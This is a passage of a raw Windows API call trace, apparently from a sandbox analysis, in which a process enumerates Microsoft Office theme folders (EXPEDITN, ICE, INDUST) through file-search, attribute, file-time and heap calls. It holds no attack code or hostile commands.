Flags=0x8, Size=0x100) returned 0x9164b8 [0241.926] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.926] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.926] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9163b0 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911130 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9169e0 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.927] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911150 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x916ae8 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.927] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911170 [0241.927] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x916bf0 [0241.928] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.928] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.928] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.928] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.928] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.928] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.928] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.928] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911190 [0241.928] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x916cf8 [0241.928] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.928] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.928] GetLastError () returned 0x12 [0241.928] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.928] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.928] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.928] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0241.928] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0241.928] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.928] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.928] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.928] GetLastError () returned 0x12 [0241.928] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9164b8) returned 1 [0241.928] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.929] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9163b0) returned 1 [0241.929] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.929] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0241.929] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.929] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.958] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.958] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x918398 [0241.959] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x918398, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x918398, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x918398) returned 1 [0241.959] NtClose (Handle=0x1bc) returned 0x0 [0241.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.959] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.959] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.959] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9111b0 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9163b0 [0241.959] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x740) returned 0x918398 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9136c8) returned 1 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9111d0 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9164b8 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9111f0 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x916e00 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x911210 [0241.960] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x916f08 [0241.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0241.961] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.961] GetLastError () returned 0x12 [0241.961] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.961] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.961] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.961] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0241.961] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0241.961] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.961] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.961] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.961] GetLastError () returned 0x12 [0241.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.961] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.961] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.961] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0241.961] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, 